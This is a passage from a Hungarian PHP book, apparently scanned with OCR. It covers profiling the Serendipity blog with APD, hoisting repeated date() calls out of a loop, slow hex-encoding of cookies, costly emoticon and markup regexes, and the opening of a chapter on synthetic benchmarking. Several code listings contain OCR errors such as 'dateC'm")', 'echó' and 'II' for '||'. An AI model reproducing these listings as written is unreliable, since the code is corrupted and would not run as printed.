van szó, de túl lassú lehet, ha a Serendipity-t egy nagyobb felhasználói bázisú vagy nagy
forgalmú webhelyen kívánjuk használni. Az időfelhasználási verseny első helyezettje az
include_once (), ami egyébként nem szokatlan nagyobb alkalmazásoknál, melyek jelen-
tős része beemelt fájlokban található. Figyeljük meg azt is, hogy az include_once () nem
csak a hívásokkal együtt mért listában vezet, hanem a hívások nélküliben is. Ezt láthatjuk
a 18.4. ábrán, ahol a pprofp -r futtatás eredményét tüntettük fel - az include_once ()
a teljes futásidő 29,7%-át veszi el gyermekhívások nélkül.

18.3. ábra
A Serendipity kezdőlapjának első profilkészítési eredményei.
18. fejezet • Profilkészítés 473

18.4. ábra
A Serendipity kezdőlapjának hívásai, a gyermekhívások figyelembe vétele nélkül.

Amit itt látunk, az a Serendipity beemelt fájljainak fordítási költsége. Emlékezzünk vissza
a 9. fejezetre, ahol megtanultuk, hogy a PHP programok futtatásánál felmerülő egyik leg-
nagyobb költséget értelmezésük és köztes kódba fordításuk jelenti. Mivel a beemelt fájlok
értelmezése és végrehajtása futásidőben történik, ezt a költséget azonnal láthatjuk a 18.4.
ábra adatain. Ezt a többletterhet jelentősen csökkenthetjük, ha fordítói gyorstárat alkalma-
zunk. A 18.5. ábrán láthatjuk az eredményeket az APC telepítése és a profilok futtatása
után. Az include_once () továbbra is vezet a hívásokkal együtt mért idők versenyében
(ami rendben van, hiszen ez tartalmazza az oldal kódjának jelentős részét), de a hívások
nélküli idők között már nincs benne az első ötben. Mindemellett a program futásideje
csaknem a felére esett vissza.

18.5. ábra
A Serendipity kezdőlapjának profilja az APC fordítói gyorstár használata mellett.
474 PHP fejlesztés felsőfokon

Ha a bennmaradó hívásokat tekintjük, láthatjuk a három legnagyobb „időrablót":

• serendipity_plugin_api::generate_plugins
• serendipity_db_query
• mysql_db_query

Azt vártuk volna, hogy az adatbázis-lekérdezések lassúak lesznek. Nos, általában ez


a helyzet - ezek a lekérdezések gyakran vezetnek adattorlódásokhoz. Felderítésükről és
javításukról már szóltunk a 12. fejezetben, így most nem bocsátkozunk a részletekbe.
Amint a korábbiakban már előrevetítettük, az adatbázis-lekérdezések magas időfelhaszná-
lását nem a felhasználói kód vagy a rendszer lassúsága okozza, mivel a velük töltött időt
gyakorlatilag az adatbázis-kiszolgálóra való várakozás teszi ki.

A generate_plugins () egészen más történet. A Serendipity lehetővé teszi, hogy saját


felhasználói bővítményeket alkalmazzunk az oldalsó böngészősáv elemeiként, és néhány
gyári lehetőséggel is szolgál, mint a naptár, a hivatkozáskövető, valamint az archívumbeli
keresés. Nem tűnik úgy, mintha itt olyan nagy költségek merülnének fel. A további vizs-
gálat érdekében elkészíthetjük a teljes hívási fát az alábbi utasítással:

> pprofp -tcm /tmp/pprof. 28986

A 18.6. ábra a fa azon részét mutatja, amely a serendipity_plugin_api : : gene-


rate_plugins () első hívását részletezi. Az első nagyjából 20 sorban rendes, bevezető
műveleteket találunk, egy adatbázis-lekérdezést (a serendipity_db_query () függ-
vénnyel) és néhány karakterláncműveletet - semmi különös. Az oldal felénél azonban,
a serendipity_drawcalendar () függvényben a hívások kezdenek gyanút kelteni.
Az mktime () és a date () ismétlődő hívása nem ébreszt jó érzéseket az emberben. Vég-
eredményben a program 217 alkalommal hívja meg a date () -et ebben a függvényben.

Ha visszatekintünk a 18.5. ábrára, a hívások nélküli nyomkövetés adatain láthatjuk, hogy


a program összesen 240-szer hívta meg a date () -et, ami így a program teljes futási ide-
jének 14,8%-át foglalta le - tehát van mit javítani.
18. fejezet • Profilkészítés 475

18.6. ábra
A Serendipity kezdőlapjának hívási fája.

Szerencsére a hívási fa pontosan megmutatja, hol kell körülnéznünk: a serendipity_func-


tions. inc .php 245-261. soraiban. íme a „bűnös" kód:

227 print ("<TR CLASS='serendipity_calendar'>") ;


228 for ($y=0; $y<7; $y++) {
229 // némi kód a szegélyek tetszetős kiírására
230 $cellProp = "";
231 if ($y==0) $cellProp = "FirstlnRow";
232 if ($y==6) $cellProp = "LastlnRow";
233 if ($x==4) $cellProp = "LastRow";
234 if ($x==4 && $y==6) $cellProp = "LastlnLastRow" ;
235
236 // a kiírás kezdete
237 if (($x>0 II $y>=$firstDayWeekDay) && $currDay<=$nrOfDays) {
238 if ($activeDays[$currDay] > 1) $cellProp.='Active';
239 print("<TD CLASS='serendipity_calendarDay$cellProp'>");
240
241 // nap kiírása
242 if ($serendipity["rewrite"]==true)
243 $link = $serendipity["serendipityHTTPPath"]."archives/".
244 date("Ymd", mktime(0,0,0, $month, $currDay, $year)).
245 ".html";
246 else
476 PHP fejlesztés felsőfokon

247 $link = $serendipity["serendipityHTTPPath"];;


248 if (dateC'm") == $month &&
249 dateC'Y") == $year &&
250 date("j") == currDay) {
251 echó "<I>";
252 }
253 if ($activeDays[$currDay] > 1) {
254 print ("<A HREF='$link'>");
255 }
256 print ($currDay);
257 if ($activeDays[$currDay] > 1) print ("</A>");
258 if (date("m") == $month &&
259 dateC'Y") == $year &&
260 date("j") == $currDay) {
261 echó "</l>";
262 }
263 print("</TD>") ;
264 $currDay++;
265 }
266 else {
267 print "<TD CLASS='serendipity_calendarBlankDay$cellProp'>";
268 print "&nbsp;</TD>";
269 }
270 }
271 print ("</TR>");

Ez a serendipity_drawcalendar () függvény része, ami a naptárat írja ki a böngésző


sávra. Ha megfigyeljük a 244. sort, láthatjuk, hogy a date () hívás függ a $month,
a $ currDay és a $year értékektől. A $ currDay minden lépésben növekszik, így ezt
a hívást nyilván nem hagyhatjuk el, viszont kicserélhetjük:

date("Ymd", mktime(0,0,0, $month, $currDay, $year))

A fenti sor egy dátumkarakterláncot készít a $month, a $ currDay és a $year értékek-


ből. A date () és az mktime () függvények használata elkerülhető, ha magunk formáz-
zuk ezt a karakterláncot:

sprintf("%4d%02d%02d:, $year, $month, $currDay)

Mindemellett a 248-250. és a 258-260. sorbeli hívások nem függnek semmilyen változó-


tól, így kitehetjük őket a ciklusból. Ha ezt megtesszük, a ciklus előtt ki kell számolnunk
a megfelelő három változót:

227 $date_m = dateC'm");


228 $date_Y = dateC'Y");
22 9 $date_j = dateC'j");
18. fejezet • Profilkészítés 477

230 print ("<TR CLASS='serendipity_calendar'>");


231 for ($y=0; $y<7; $y++) {
232 /* ... */

Ezután a 248-250. és a 258-260. sorok így festenek:

if ($date_m == $month &&


$date_Y == $year &&
$date_j == $currDay) {

Ezzel az egyszerű módosítással a date () hívások számát 240-ről 38-ra csökkentettük,


ami a serendipity_plugin_api : : generate_plugins () sebességét több mint 20%-
kal növelte, a kezdőoldal elérési idejét pedig 10%-kal csökkentette. Nos, ahhoz képest,
hogy mindössze 9 sort módosítottunk, és 15 percet töltöttünk a feladattal, ez egészen jó
eredmény!

Példánkat persze könnyen elkönyvelhetjük az egyszerű programozási hibák között. Egy


változatlan függvényhívás beépítése egy ciklusba valóban gyakori hiba kezdő programo-
zóknál, de jelentéktelen hibának tekinteni több okból sem szabad:

• A tapasztalt programozók is követnek el ilyen hibákat, különösen nagy ciklusok-


ban, ahol nehéz követni, hol módosulnak a változók.
• Csoportos munkában gyakran fordulnak elő ilyen apró gondatlanságok. így példá-
ul megeshet, hogy egy viszonylag egyszerű feladatot - ilyen egy naptár elkészítése
is - egy fiatal, tapasztalatlan fejlesztőnek adnak ki, és a rendszeres programvizsgá-
lat elsiklik az ilyesfajta hibák felett.
• Az ilyen és ehhez hasonló gyenge pontokat szinte soha nem lehet megérzés alap-
ján felfedezni. Ha messziről tekintünk a kódra, valószínűtlen, hogy a naptárra (ami
nem igazán tartozik az alkalmazás lényegi elemei közé) gyanakodjunk. Mindazo-
náltal az ilyen apróságok veszteségei - 10% itt, 15% ott - hamar összeadódnak, és
teljesítmény-érzékeny alkalmazásokban sok gondot okozhatnak.

Az általános gyengeségek felderítése


A profilkészítők a legjobb formájukat az általános gyengeségek felderítésénél hozzák.
Ilyen lehet például, ha a program ismétlődően meghív egy költséges felhasználói függ-
vényt, miközben egy beépített is megtenné, vagy gyakran alkalmaz egy függvényt ciklus-
ban, pedig egyetlen beépített függvénnyel is elvégezhetné az adott feladatot. Az eddigi
elemzési módszertől eltérően, ahol a hívásokat is beszámítva értünk el hasznos eredmé-
nyeket, az enyhe, de gyakran jelentkező gondokat hatékonyabban felderíthetjük, ha elte-
kintünk a belső hívásoktól.
478 PHP fejlesztés felsőfokon

Kedvenc esetem, amely jól példázza a helyzetet, még az APD születése idején történt
meg. A cégnél, ahol akkoriban dolgoztam, volt néhány függvény, melyek arra szolgáltak,
hogy bináris adatokat (főként kódolt felhasználói adatokat) „8 bit-biztossá" tegyék, és így
alkalmassá váljanak sütibeli használatra. Minden kérelemnél, ami egy olyan oldalhoz ér-
kezett, ahol szükség volt a tag azonosítójára és jelszavára, a felhasználó sütijét visszafejtet-
tük, majd egyaránt alkalmaztuk hitelesítésre és felhasználói adatok tárolására. Mivel a fel-
használói munkamenetek egy idő után elavultak, a süti tartalmazott egy időbélyeget, me-
lyet minden kérelemnél visszaállítottunk annak biztosítékaként, hogy a munkamenet to-
vábbra is érvényes legyen.

A kódot már három éve használtuk - még a PHP3 idejében készítették, amikor az általá-
nos bináris adatok (például a null értéket tartalmazók) kezelése még nem volt megfelelő
a sütikkel dolgozó PHP kódokban, és a rawurlencode sem volt még képes általános bi-
náris adatok befogadására. A szóban forgó függvények valahogy így festettek:

function hexencode($data) {
$ascii = unpack("C*", $data);
$retval = ' ' ;
foreach ($ascii as $v) {
$retval .= sprintf("%02x", $v);
>
return $retval;
}

function hexdecode($data) {
$len = strlen($data);
$retval = ' ' ;
for ( $ i = 0 ; $i < $len; $i+= 2) {
$retval .= packC'C", hexdec (
substr($data, $i, 2)
)
);
}
return $retval;
}

Kódoláskor a bináris adatok karakterláncait a program összetevő karaktereikre bontotta


az unpack () függvénnyel. Ezután átalakította hexadecimális értékükre, majd újra össze-
állította a karakterláncot. A visszafejtés ugyanígy festett, csak fordítva. A függvények lát-
szólag hatékonyak voltak -legalábbis a PHP lehetőségeihez mérten.

Amikor azután tesztelni kezdtem az APD-t, meglepetésemre kiderült, hogy e két függvény
felelős a webhely oldalai végrehajtási idejének csaknem 30%-áért. A gondot az okozta,
hogy a felhasználók sütijei nem voltak kicsik - átlagosan 1 KB-osak - és egy ekkora töm-
18. fejezet • Profilkészítés 479

bön végighaladni és az elemeket egy karakterlánchoz csatolni meglehetősen lassú a PHP-


ben. Mivel a függvények a PHP szempontjából mondhatni optimális alakúnak tekinthe-
tők, nem volt sok választásunk:

• Megkísérelhettük megoldani, hogy a süti tárolása a PHP-ben is eltűrje az általános


bináris adatokat.
• Használatba vehettünk egy beépített függvényt, ami a keresetthez hasonló ered-
ményt ad (ilyen például a base64_encode ()).

Végül az első mellett döntöttünk, és ennek eredményeképpen a PHP jelenlegi változatai


már az általános bináris adatokkal is megbirkózó sütikezelést alkalmaznak. Mindazonáltal
a második megoldás is éppen ilyen jó lett volna.

Egy apró javítás jelentős gyorsulást hozhat - esetünkben ez nem csak egyetlen program se-
bességét növelte meg, hanem 30%-os kapacitásbővülést eredményezett az egész alkalma-
zásban. Mint minden olyan technikai problémánál, melyre létezik egyszerű megoldás, fel-
merül a kérdés: hogyan történhetett meg mindez? A válasz összetett, és mégis egyszerű - ez
az oka annak, hogy a nagy forgalmú webhelyek profilját rendszeresen el kell készítenünk:

• Megváltoztak az adatok. - Amikor a kód készült (évekkel korábban), a felhasználói sü-


tik kisebbek voltak (méretük nem érte el a 100 bájtot), így a terhelés sem volt ekkora.
• A hiba nem járt komoly következményekkel. - Egy hosszú folyamatban kialakuló 30%-os
lassulás természetétől fogva nehezen követhető. A 100 ms és a 130 ms közti kü-
lönbség túl kicsi az emberi érzékszervek számára. Ha a gépek jóval teljesítőképes-
ségük alatt vannak kihasználva (márpedig sok projektnél ez a helyzet), a lelassulá-
sok még összeadódva sem hátráltatják a forgalmat.
• Eredetileg is elég hatékonynak tűnt - a kódolófüggvények hatékonyak -, legalábbis
a PHP lehetőségeihez mérten. Ráadásul, tudva azt, hogy több mint 2000 beépített
függvény létezik a PHP-ben, nem olyan nagy dolog, ha valaki nem akad rá
a base64_encode () -ra, amikor beépített hexadecimális kódolót keres.
• Az alkalmazás kódja túl nagy volt. - Csaknem egymillió sornyi PHP kódot személyesen
átvizsgálni lehetetlen. Ráadásul, mivel a hexencode nem a PHP beépített függvé-
nye, még a programozási környezetet is ismerni kell ahhoz, hogy tudhassuk,
a base64_encode () ugyanarra képes.

Profilkészítő nélkül ez a hiba biztosan nem került volna felszínre. A kód túl régi volt már,
és túl mélyen volt elásva ahhoz, hogy valaha is felfedezzék egyszerű módszerekkel.
480 PHP fejlesztés felsőfokon

Megjegyzés
Van ennek a sütihasználati módnak még egy gyenge pontja. Ha a felhasználó sütijét min-
den eléréskor visszaállítjuk, ezzel azt biztosíthatjuk, hogy a munkamenet 15 perc elteltével
avul el. Ehhez azonban szükség van a süti újrakódolására és visszaállítására minden el-
éréskor. Ha az elavulás idejét egy véletlenszerű, 15 és 20 perc közti értékben határozzuk
meg, akkor elég lesz olyankor visszaállítani a sütít, ha már legalább 5 perce megszületett.
Ez szintén jelentős sebességnövekedést eredményezhet.

A felesleges szolgáltatások eltávolítása


Miután azonosítottunk és megszüntettünk minden olyan nyilvánvaló szűk keresztmetsze-
tet, melynek módosítása nem járt lényegi változásokkal, az APD segítségével azokat a le-
hetőségeket is kigyűjthetjük, melyek természetüknél fogva költségesek. A program ilyen
lefaragása gyakoribb az alkalmazott projektekben (például olyankor, amikor egy szabad
webnaplót vagy webes levelezőrendszert építünk egy nagyobb programba), mint otthoni
fejlesztéseknél - jóllehet ott is előfordulhat (ha például új, nagyobb adatforgalmat lebo-
nyolító szerepet szánunk alkalmazásunknak).

A lehetőségek megnyirbálásánál két utat követhetünk. Végighaladhatunk sorban egymás


után a termék egyes lehetőségein, és kidobhatjuk azokat, amelyekre nincs szükségünk
(ezt felülről lefelé irányuló módszernek szoktam hívni). A másik módszer, ha elkészítjük
a kód profilját, azonosítjuk a költséges lehetőségeket, és ezek közül választjuk ki a kido-
bandókat (alulról felfelé irányuló módszer). A felülről lefelé irányuló módszernek van egy
előnye: így biztosan kidobunk mindent, amire nincs szükségünk. Ugyanakkor az alulról
felfelé irányuló módszer sem elvetendő:

• Azonosít egyes lehetőségeket. Számos projektben vannak ugyanis olyan lehetősé-


gek, melyekről egy szó sem esik a leírásban.
• Némi rálátást ad arra, mely lehetőségek lehetnek hasznosak, és melyek feltétlenül
szükségesek.
• Adatokat szolgáltat a tisztogatás sorrendjének meghatározásához.

Jómagam általában jobban kedvelem az alulról felfelé irányuló módszert, ha egy külső
gyártó termékét elemzem, mielőtt élesben munkába állítanám - itt ugyanis nincs listám az
eltávolítandó lehetőségekről, mindössze a kívánt szintre szeretném emelni a teljesítményt.

Térjünk vissza a Serendipity példájához. A gyenge pontok keresését kezdhetjük a hívások-


kal együtt mért idők alapján kapott sorrend vizsgálatával. A 18.7. ábrán egy új nyomköve-
tés eredményét láthatjuk (a korábbi optimalizálások után), a hívások nélküli valós időtar-
tamok alapján rendezve. E listán két igazán kiugró eredményt láthatunk: a def ine ()
függvényt és a preg_replace () hívásokat.
18. fejezet • Profilkészítés 481

18.7. ábra
Profilunk az optimalizálás után.

Általában nem tartom bölcs dolognak, hogy véleményt mondjak a def ine () hatékonysá-
gáról. Használatának alternatívája ugyanis egy globális változó alkalmazása. Ezek deklará-
ciói a nyelv részei (ellentétben a def ine () -nal, ami egy függvény), így az általuk a rend-
szerre rótt töbletteher nehezen mérhető az APD módszereivel. Az egyetlen megoldás,
amit ajánlhatok, hogy tároljuk állandóinkat const osztályállandók alakjában. Ha fordítói
gyorstárat használunk, az tárolja ezeket az osztály meghatározásával, így nem kell őket
minden kérelemnél újra példányosítani.

A preg_replace () hívások több figyelmet érdemelnek. A hívási fa használatával (így


valóban találhatunk hívott preg_replace () példányokat) leszűkíthetjük az előfordulá-
sok többségét a következő függvényre:

function serendipity_emoticate($str) {
global $serendipity;
482 PHP fejlesztés felsőfokon

foreach ($serendipity["smiles"] as $key => $value) {


$str = preg_replace("/([\t\ ]?)".preg_quote($key,"/").
"([\t\ \!\.\)]?)/m", "$l<img src=\"$value\" />$2", $str);
}

return $str;
}

Itt a serendipity [ ' smiles ' ] meghatározása a következő:

$serendipity["smiles"] =
arrayt":' (" => $serendipity["serendipityHTTPPath"]."pixel/cry_smile.gif",
":-)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif",
":-0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif",
":0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif",
":-(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif",
":(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif",
":)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif",
"8-) " => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif",
":-D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif",
":D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif",
"8)" => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif",
":-P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif",
";-)" => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif",
"; ) " => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif",
":P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif",
);

És íme a függvény, amely valójában alkalmazza a jelöléseket, képeket helyettesítve az


emotikonok helyébe, és más rövid jelek alkalmazását is lehetővé téve:

function serendipity_markup_text($str, $entry_id = 0) {


global $serendipity;

$ret = $str;

$ret = str_replace('\_', chr(l), $ret);


$ret = preg_replace('/#([[:alnum:]]+?)#/','&\1;',$ret);
$ret = preg_replace('/\b_([\S ]+?)_\b/','<u>\l</u>',$ret);
$ret = str_replace(chr(1), '\_', $ret);

// félkövér
$ret = str_replace('\*',chr(1),$ret);
$ret = str_replace('**',chr(2) , $ret) ;
$ret = preg_replace('/(\S)\*(\S)/ ' , '\1' . chr(l) . '\2',$ret);
$ret = preg_replace('/\B\*(["*]+)\*\B/', '<strong>\l</strong>',$ret) ;
$ret = str_replace(chr(2),'**',$ret);
$ret = str_replace(chr(1),'\*',$ret);
18. fejezet • Profilkészítés 483

// rögzített szélességű betűk


$ret = str_replace('\%',chr(l),$ret);
$ret = preg_replace_callback('/%([\S ]+?)%/',
1serendipity_format_tt', $ret);

$ret = str_replace(chr(l),'%',$ret) ;

$ret = preg_replace('Al([0-9a-fA-F]+?)\l([\S ]+?)\l/',


'<font color="\l">\2</font>',$ret);
$ret = preg_replace('/\A([[:alnum:]]+?)W','<sup>\l</sup>',$ret);
$ret = preg_replace ( ' A@( [ [ :alnum: ] ]+?) \@/ ' , '<sub>\l</sub>' , $ret) ;
$ret = preg_replace('/([\\\]) ([*#_r@%])/\ ' \2 ' , $ret) ;

if ($serendipity['track_exits']) {
$serendipity['encodeExitsCallback_entry_id'] = $entry_id;

$ret = preg_replace_callback(
"#<a href=(\"I')http://([A"']+)(\"l')#im",
'serendipity_encodeExitsCallback',
$ret
);
}

return $ret;
}

Az első függvény, a serendipity_emoticate () végighalad egy karakterláncon, és ki-


cserél minden emotikont - például a mosolygós arc :) jelét - egy képhivatkozásra. Mind-
ez értelemszerűen arra szolgál, hogy a webnapló alkalmazás kicsinosíthassa a felhaszná-
lók bejegyzéseit. Ez a bejegyzések megjelenítésekor történik, ami lehetővé teszi a felhasz-
nálók számára, hogy utólag megváltoztathassák webnaplójuk megjelenését (beleértve az
emotikonokat is) úgy, hogy ne kelljen kézzel átszerkeszteniük az összes bejegyzést. Mivel
15 alapértelmezett emotikon létezik, a rendszer 15-ször futtatja a preg_replace () -t
minden webnaplóbejegyzés megjelenítésénél.

A második, serendipity_markup_text () nevű függvény bizonyos szövegformázási


lehetőségeket valósít meg. Vegyük például az alábbi szöveget:

*hello*

Ennek helyébe ez kerül:

<strong>hello</strong>
484 PHP fejlesztés felsőfokon

Más, hasonló helyettesítésekre is sor kerül. A módosításokat a rendszer itt is a megjelení-


téskor hajtja végre, így visszamenőlegesen is át lehet alakítani a bejegyzéseket. Ez a függ-
vény kilencszer hívja meg a preg_replace () -t és nyolcszor az str_replace () -t min-
den egyes bejegyzésnél.

Ezek valóban csodás lehetőségek, de igen költségessé válnak a forgalom növekedésével.


Egyetlen rövid bejegyzésnél is ezek a függvények teszik ki a program futásidejének csaknem
15%-át. Saját webnaplómon már annyit bütyköltem, hogy így is többre képes, mint amennyi-
re valaha is szükség lesz. Ha azonban ezt olyan felhasználók kezébe adjuk, akik egy nagy
forgalmú webhelyen tevékenykednek, a többletteher eltávolítása létfontosságú lehet.

E hívások hatásának kivédésére két lehetőségünk van. Először is, egyszerűen eltávolíthat-
juk a hívásokat. Az emotikonok kezelésére alkalmazhatunk egy JavaScriptben írt szerkesz-
tőt, amely lehetővé teszi, hogy a felhasználók egy menüből válasszák ki a kívánt képeket.
A szövegformázási lehetőségek helyett megkövetelhetjük, hogy a felhasználók maguk al-
kalmazzanak HTML jelöléseket.

Másodszor, megtarthatjuk mindkét lehetőséget, ha előrehozzuk alkalmazásukat a bejegy-


zések mentésének idejére - így csak itt jelentkezik a többletteher. Mindkét módszernél el-
esünk a korábbi bejegyzések automatikus átalakításának lehetőségétől, így csak akkor
szánjuk rá magunkat ilyen lépésekre, ha erre valóban szükség van.

Egy harmadik módszer a költséges jelölések kezelésére

Dolgoztam egyszer egy webhelyen, ahol egy szabályos kifejezésekből álló könyvtárat
használtak a trágárságok és a rosszindulatú JavaScript, illetve CSS kódok kiszűrésére a fel-
használók által feltöltött tartalomból (a helyközi támadások kivédésére). Mivel a felhasz-
nálók igen leleményesnek mutatkoztak a káromkodások terén, a trágárságok listája folya-
matosan bővült, ahogy a fenntartók ismerkedtek az egyre újabb és szokatlanabb kifejezé-
sekkel. A webhely forgalma igen nagy volt, ami azt jelentette, hogy a tisztogatási folyamat
nem mehetett végbe rögtön a kérelmek fogadásánál (egyszerűen túl költséges volt), de
a trágárságok listájának dinamikus jellege megkövetelte, hogy új szűrési szabályokat alkal-
mazhassunk meglevő bejegyzésekre is. Sajnálatos módon a felhasználók túl sokan voltak
ahhoz, hogy ezt a szűrőt minden bejegyzésre alkalmazzuk.

Az általunk kitalált megoldás két tartalomtáblát és igény esetén alkalmazott gyorstárat


használt. A mestertáblában a felhasználó bejegyzésének változatlan másolatát tároltuk.
Amikor ezt először lekérték, alkalmaztuk rá az aktuális szűrőt, és az eredményt a gyors-
tártáblába helyeztük. A további kérelmek beérkezésekor a rendszer először a gyorstárban
kereste a kért bejegyzést, és csak kudarc esetén fordult a mestertáblához az újratárolás ér-
dekében. Ha a szűrő bővült, a rendszer kiürítette a gyorstárat, így az ezt követő új kérel-
18. fejezet • Profilkészítés 485

mek nyomán a bejegyzéseket újra a mestertáblában kellett először keresni, majd ezt köve-
tően átírni a gyorstártáblába. Ez a gyorstártábla egyébként különösebb nehézség nélkül
felváltható egy hálózati fájlrendszerrel is.

Ez a kétszintű módszer csaknem olyan jó eredményt adott, mint a feltöltéskor módosító


megoldás. A szabályhalmaz frissítésekor tapasztalható volt egy jelentős megugrás az erő-
források használatában - ez volt annak az ára, hogy kérelmenkénti módosítással élhet-
tünk. E módszer egyetlen hátulütője a korábbiakkal szemben a kétszeres tárigény (hiszen
az eredeti és a gyorstárbeli példányokat külön kell választani), esetünkben azonban ez
jócskán megérte.

További olvasmányok
Az igazat megvallva, a szakirodalom nem bővelkedik a PHP profilkészítés eszközeivel
foglalkozó művekben. A fejezetünkben említett profilkészítők mindegyikének webhelyén
találhatunk némi útmutatást a használatukkal kapcsolatban, de nem ismeretes átfogó tár-
gyalás a profilkészítés mesterségéről.

A PHP szintű profilkészítők mellett létezik számos alacsonyabb szintű is, melyekkel a rend-
szer profilját elkészíthetjük. Ezek igen hasznosak lehetnek, ha a PHP nyelv teljesítményé-
nek növelése a célunk, de kevésbé jól használhatók egyes alkalmazások teljesítményének
javításában. A gondot az jelenti, hogy igen nehéz közvetlenül összekötni az alacsonyabb
szintű (motorbeli) C függvényhívásokat, vagy rendszermaghívásokat a PHP kódban végzett
műveletekkel. Mindazonáltal lássunk néhány C-profilkészítési segédeszközt is:

• A gprof, vagyis a GNU profilkészítője szinte minden rendszeren elérhető. Nagysze-


rűen határozza meg a C kód profilját, de esetenként nehéz értelmezni az eredményt.
• A valgrind a hozzá tartozó kcachegrind grafikus felhasználói felülettel együtt
jó memóriabeli hibakeresőt és profilkészítőt ad a Linux rendszerekhez. Ha Linuxon
C-ben programozunk, mindenképpen tanuljuk meg a használatát.
• Az ooprof ile egy magszintű profilkészítő Linux rendszerekhez. Amennyiben ala-
csonyszintű hibakeresést kell végeznünk, melyben egy alkalmazás rendszerhívásai-
nak profilját kell elkészítenünk, az ooprof ile nagyszerű segítőtársnak bizonyulhat.
Szintetikus mérés:
kódblokkok és függvények értékelése

A 18. fejezetben teljes alkalmazások teljesítményvizsgálatával foglalkoztunk. Ez igen hasz-


nos módszer weboldalak összehasonlító elemzésére, a lassú oldalak felderítésére, és
a hangolás eredményének ellenőrzésére. Hasonló módszerek használatosak a kódblok-
kok alábbihoz hasonló összevetésénél:

• A while () vagy a f oreach () ciklus gyorsabb?


• A karakterlánc elején található karakterek vizsgálatában a substr () vagy az
strstr () gyorsabb?

A válaszokat kereshetjük a hálózaton a PHP archívumokban, vagy utánanézhetünk egy


könyvben (akár ebben is), de e módszerek egyike sem mondható igazán hatékonynak.
A PHP egyik erőssége ugyanis éppen gyors fejlődésében áll. A ma létező teljesítménykü-
lönbségek holnapra eltűnhetnek - és ilyen változások nem csak a főbb kiadásokban je-
lenhetnek meg, hiszen a PHP mögött álló nyílt forrású fejlesztési modell azt jelenti, hogy
a gondok megoldásához csak annyi kell, hogy elég fejlesztőt érintsenek. Hamar lássunk is
két példát az ilyen típusú változásokra:

• A PHP 4.3-as változata előtt a változók beszúrása a karakterláncokba sokkal lassab-


ban működött, mint a karakterláncok összefűzése. (Lásd később, a Beszúrás vagy
összefűzés? címszónál.)
• A beépített parse_url () függvény használata sokkal lassabb volt, mint ha az
URL-eket saját kódunkban a preg_match segítségével értelmeztük. A 4.3-as válto-
zatban ez is megváltozott. (Lásd később, az Egyéb időmérési adatok címszónál.)

Ha létfontosságú kódot hangolunk, mindig jobb, ha magunk végezzük el az összehasonlí-


tásokat, és választjuk ki a megfelelő kódhasználatot - ne hagyatkozzunk mások mérési
eredményeire.
488 PHP fejlesztés felsőfokon

Ahhoz, hogy a korábban említett és más hasonló kérdésekre választ találjunk, saját szinte-
tikus mérőprogramokat kell készítenünk, amelyek lehetőséget adnak kis kódrészletek, il-
letve egyes függvények vizsgálatára, erőforrás-használatuk felmérésére (és az összehason-
lítás révén csökkentésére). Ha e méréseket beépítjük egységtesztjeinkbe, nyomon követ-
hetjük a könyvtárak teljesítményének változását az idők során.

A szintetikus mérés annyiban tér el az alkalmazások teljesítményvizsgálatától, hogy itt


nem törekszünk a valós használati körülmények utánzására, egyszerűen egyes kódblok-
kok teljesítményére vagyunk kíváncsiak. A szintetikus mérőprogramok jelentős múltra te-
kinthetnek vissza a számítógéptudományban. Az 1950-es években a programozók ezek-
kel ítélték meg, milyen fizikai rendszerekkel érhetnek el nagyobb teljesítményt. A Whet-
stone - egyike a leghíresebbeknek - a lebegőpontos számítások hatékonyságának vizsgá-
latára született. Emellett ismert módszer a Fibonacci-sorozat elemeinek kiszámítása, a Ha-
noi tornyai játék használata az önhivatkozó hívások sebességének vizsgálatára, vagy
a mátrixszorzás a lineáris algebrai algoritmusok hatékonyságának mérésére.

A szintetikus mérőmódszerek eredményei gyakran nem igazítanak el az alkalmazások ál-


talános teljesítményének kérdéseiben. A helyzet az, hogy valójában itt nem történik sem-
mi elviekben új dolog - egyszerűen csak az alkalmazás gyengébb részeit próbáljuk opti-
malizálni. A mérőmódszerek mellett meg kell jelennie a profilkészítésnek is, ami lehetővé
teszi a program olyan részeinek azonosítását, amelyeken valóban érdemes javítani.

A jó szintetikus mérőprogram összeállításánál az alábbi kérdéseket kell saját magunk szá-


mára megválaszolnunk:

• Valóban azt vizsgáljuk, amit szeretnénk? - Furcsa, hogy ez a kérdés egyáltalán felmerül,
de valóban nagyon fontos, hogy tényleg azt mérjük, amit szeretnénk. Ne feledjük,
nem a teljes alkalmazást teszteljük, csak egy kis részét. Ha nem sikerül egy elég el-
különülő részletre összpontosítanunk, a mérés is veszt jelentőségéből.
• Úgy vizsgáljuk a függvényt, ahogy a valós helyzetekben használnánk? - Az algoritmusok
teljesítménye gyakran drámaian változhat a bemeneti adatoktól függően. Ha van-
nak bizonyos ismereteink az átadott paraméterek értékeiről, használjuk fel ezeket
a teszt során is. A legjobb, ha a valós működésből vett adatokkal dolgozunk.

A listából szándékosan kihagytuk a kérdést: „Szükség van erre a vizsgálatra?". A mérés ön-
magában is hasznos lehet, hiszen általa megismerkedhetünk a PHP és a Zend Engine szá-
mos apró lehetőségével. Egy ritkán használt program tömbműveleteinek optimalizálása
nem túl sok haszonnal kecsegtet, de a PHP teljesítménnyel kapcsolatos fogalmainak isme-
rete hozzásegít ahhoz, hogy egy olyan programozási stílust alakítsunk ki, ami feleslegessé
tesz sok későbbi optimalizálási lépést.
19. fejezet • Szintetikus mérés; kódblokkok és függvények értékelése 489

A mérés alapjai
A mérési eredmények összehasonlításánál ügyelnünk kell arra, hogy csak egyetlen „sza-
badsági fokban" térhessenek el egymástól. Ez azt jelenti, hogy egy vizsgálat során csak
egyetlen független tényezőben lehet különbség két futtatás között, az adatok és az algorit-
mus többi része pedig változatlan marad. Tegyük fel például, hogy egy olyan osztályt ké-
